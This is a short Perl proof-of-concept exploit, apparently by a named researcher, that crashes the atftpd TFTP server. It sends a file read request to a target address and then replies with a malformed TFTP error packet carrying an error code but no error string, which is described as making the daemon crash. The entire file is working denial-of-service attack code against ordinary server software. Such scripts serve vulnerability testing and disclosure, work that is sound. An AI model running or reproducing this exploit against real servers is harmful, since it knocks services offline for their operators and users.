#!/usr/bin/perl 
#
# Usage:
#  ./tftptest address filename
#
# Create malformed TFTP error response - there make atftpd crash
#
# Filename must exists on tftp server
# 
# Author: Jakob Hilmer (jakob@hilmer.dk)
#
#

use Socket;

my ($host, $him, $src, $port, $ipaddr, $data);

# create udp socket
socket(MsgBox, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "scoket: $!";

$him = sockaddr_in(scalar(getservbyname("tftp", "udp")), inet_aton(shift || '127.1'));

# Tftp request 
my $data = pack("nZ*Z*", 1, shift || "configuration", "octet");
defined(send(MsgBox, $data, 0, $him)) or die "send: $!";

# Wiit for response
defined($src = recv(MsgBox, $ptime, 4, 0)) or die "recv: $!";

# Send malformed TFTP error - only the error opcode = 5 and errno = 1, but without the error string.
$data = pack("nn", 5,1);
defined(send(MsgBox, $data, 0, $src)) or die "send: $!";


